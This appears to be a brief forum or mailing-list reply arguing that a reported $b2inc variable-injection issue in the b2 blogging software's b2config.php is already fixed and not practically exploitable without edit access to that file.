Firstly, the issue has been addressed 
http://tidakada.com/board/viewtopic.php?t=3212
and a new version issued
http://tidakada.com/board/viewtopic.php?t=3234


Secondly, has anyone tried this? The fact is that b2config.php defines 
$b2inc with no test before hand. So that, whilst for the duration of the 
parsing of b2config.php, $b2inc could indeed be set to some value from 
the outside world. It is immediately overwritten with no check with the 
value set by the user (or left from the defalut installation).
In order to effectively use the setting of b2inc for malicious purposes 
you would have to have enough access to edit b2config.php.
